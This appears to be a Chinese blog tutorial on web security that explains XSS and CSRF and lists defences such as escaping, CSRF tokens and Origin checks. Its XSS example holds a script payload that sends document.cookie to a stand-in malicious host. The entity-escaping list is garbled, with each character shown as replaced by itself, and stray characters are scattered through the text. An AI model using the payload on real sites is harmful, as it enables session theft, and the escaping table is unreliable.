高級(jí)11-web安全

1.XSS 是什么?如何防范

  div.innerHTML = userComment 
 // userComment 內(nèi)容是 
<script>$.get('http://惡意網(wǎng)站.com?cookie='+document.cookie)</script>
  // 惡意就被執(zhí)行了钓试,這就是 XSS

防范:
1.不要使用 innerHTML椅亚,改成 innerText,script 就會(huì)被當(dāng)成文本,不執(zhí)行
2.如果你一樣要用 innerHTML想幻,使用HTML實(shí)體
把 < 替換成 <
把 > 替換成 >
把 & 替換成 &
把 ' 替換成 '
把 ' 替換成 "

2.CSRF是什么粱栖?如何防范
CSRF (Cross Site Request Forgery)攻擊,跨站請(qǐng)求偽造脏毯。其原理是攻擊者構(gòu)造網(wǎng)站后臺(tái)某個(gè)功能接口的請(qǐng)求地址闹究,誘導(dǎo)用戶去點(diǎn)擊或者用特殊方法讓該請(qǐng)求地址自動(dòng)加載。
用戶在登錄qq中被惡意切換到黑客網(wǎng)站食店,黑客網(wǎng)站發(fā)送qq.com/add_friend請(qǐng)求,讓當(dāng)前用戶添加黑客為好友渣淤,用戶實(shí)際并沒有發(fā)送該請(qǐng)求,黑客偽造了發(fā)請(qǐng)求的假象
防范:
1.檢查HTTP首部中Origin或 請(qǐng)求頭中Referer
2.在表單中添加_csrf_token吉嫩,Token 保存在 Session 中Session 是服務(wù)器端的內(nèi)存(數(shù)據(jù))价认,一般通過在 Cookie 里記錄 SessionID 實(shí)現(xiàn),且SessionID 一般是隨機(jī)數(shù)
3.自定義請(qǐng)求頭
4.表單提交使用POST自娩,POST 的參數(shù)(數(shù)據(jù))放在請(qǐng)求消息體里用踩。

參考

1.服務(wù)端在收到路由請(qǐng)求時(shí),生成一個(gè)隨機(jī)數(shù)忙迁,在渲染請(qǐng)求頁面時(shí)把隨機(jī)數(shù)埋入頁面(一般埋入form 表單內(nèi)捶箱,<input type="hidden" name="_csrf_token" value="xxxx">
2.服務(wù)端設(shè)置setCookie,把該隨機(jī)數(shù)作為cookie或者session種入用戶瀏覽器
3.當(dāng)用戶發(fā)送 GET 或者 POST 請(qǐng)求時(shí)帶上_csrf_token參數(shù)(對(duì)于 Form 表單直接提交即可动漾,因?yàn)闀?huì)自動(dòng)把當(dāng)前表單內(nèi)所有的 input 提交給后臺(tái)丁屎,包括_csrf_token
4.后臺(tái)在接受到請(qǐng)求后解析請(qǐng)求的cookie獲取_csrf_token的值,然后和用戶請(qǐng)求提交的_csrf_token做個(gè)比較旱眯,如果相等表示請(qǐng)求是合法的晨川。

image

(上圖是某電商網(wǎng)站的真實(shí)設(shè)置,這里頁面上設(shè)置的 token和session里設(shè)置的token 雖然不直接相等删豺,但 md5('1474357164624') === '4bd4e512b0fbd9357150649adadedd4e'共虑,后臺(tái)還是很好計(jì)算的)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市呀页,隨后出現(xiàn)的幾起案子妈拌,更是在濱河造成了極大的恐慌,老刑警劉巖蓬蝶,帶你破解...
    沈念sama閱讀 211,265評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件尘分,死亡現(xiàn)場離奇詭異,居然都是意外死亡丸氛,警方通過查閱死者的電腦和手機(jī)培愁,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,078評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來缓窜,“玉大人定续,你說我怎么就攤上這事谍咆。” “怎么了私股?”我有些...
    開封第一講書人閱讀 156,852評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵摹察,是天一觀的道長。 經(jīng)常有香客問我倡鲸,道長港粱,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,408評(píng)論 1 283
  • 正文 為了忘掉前任旦签,我火速辦了婚禮查坪,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘宁炫。我一直安慰自己偿曙,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,445評(píng)論 5 384
  • 文/花漫 我一把揭開白布羔巢。 她就那樣靜靜地躺著望忆,像睡著了一般。 火紅的嫁衣襯著肌膚如雪竿秆。 梳的紋絲不亂的頭發(fā)上启摄,一...
    開封第一講書人閱讀 49,772評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音幽钢,去河邊找鬼歉备。 笑死,一個(gè)胖子當(dāng)著我的面吹牛匪燕,可吹牛的內(nèi)容都是我干的蕾羊。 我是一名探鬼主播,決...
    沈念sama閱讀 38,921評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼帽驯,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼龟再!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起尼变,我...
    開封第一講書人閱讀 37,688評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤利凑,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后嫌术,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體哀澈,經(jīng)...
    沈念sama閱讀 44,130評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,467評(píng)論 2 325
  • 正文 我和宋清朗相戀三年蛉威,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了日丹。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,617評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡蚯嫌,死狀恐怖哲虾,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情择示,我是刑警寧澤束凑,帶...
    沈念sama閱讀 34,276評(píng)論 4 329
  • 正文 年R本政府宣布,位于F島的核電站栅盲,受9級(jí)特大地震影響汪诉,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜谈秫,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,882評(píng)論 3 312
  • 文/蒙蒙 一扒寄、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧拟烫,春花似錦该编、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,740評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至置媳,卻和暖如春于樟,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背拇囊。 一陣腳步聲響...
    開封第一講書人閱讀 31,967評(píng)論 1 265
  • 我被黑心中介騙來泰國打工迂曲, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人寥袭。 一個(gè)月前我還...
    沈念sama閱讀 46,315評(píng)論 2 360
  • 正文 我出身青樓奢米,卻偏偏與公主長得像,于是被迫代替她去往敵國和親纠永。 傳聞我的和親對(duì)象是個(gè)殘疾皇子鬓长,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,486評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容